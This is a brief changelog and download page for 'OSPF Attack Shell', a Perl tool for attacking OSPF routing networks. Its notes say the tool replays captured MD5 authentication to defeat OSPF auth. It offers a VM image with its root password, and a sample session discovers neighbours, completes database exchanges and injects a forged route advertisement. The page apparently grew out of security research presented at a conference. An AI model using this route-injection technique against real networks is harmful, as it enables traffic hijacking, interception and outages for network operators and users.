2008/10/25

Latest version uploaded. This is version 0.16, and it supports basic OSPF authentication. That is, it just sees an MD5 authentication type in the OSPF Hello packet, and it copy and past that information into any OSPF packet it generates. MD5 authentication is absolutely useless when packets are broadcasted with replayable credentials.

2007/03/19

A small write-up about what we talked about at IT Underground (Prague 2007) has been uploaded. Click here.

2007/03/12

Uploaded the FreeBSD VMware image for OSPF Attack Shell. More materials will be uploaded soon, with a web page specifically for this program.

You may download:

• VMware image: OSPFASH-0.14.tar.gz (root password is toor)
• Standalone OSPF Attack Shell program: ospf-ash.pl

Example usage:

# ospf-ash.pl

  -- OSPF Attack Shell - 0.14 --

Using device    : eth0
Using source IP : 192.168.0.101
Using source MAC: 00:13:a9:2c:5b:a3
ash> listen
Hello from: 192.168.0.21
Found: DR : 192.168.0.22
Found: BDR: 192.168.0.21
Found: neighborList: 192.168.0.22

ash> exchange
192.168.0.22: exchange complete
192.168.0.21: exchange complete

ash> lock
ash> lsu_router('172.16.0.0','255.255.0.0')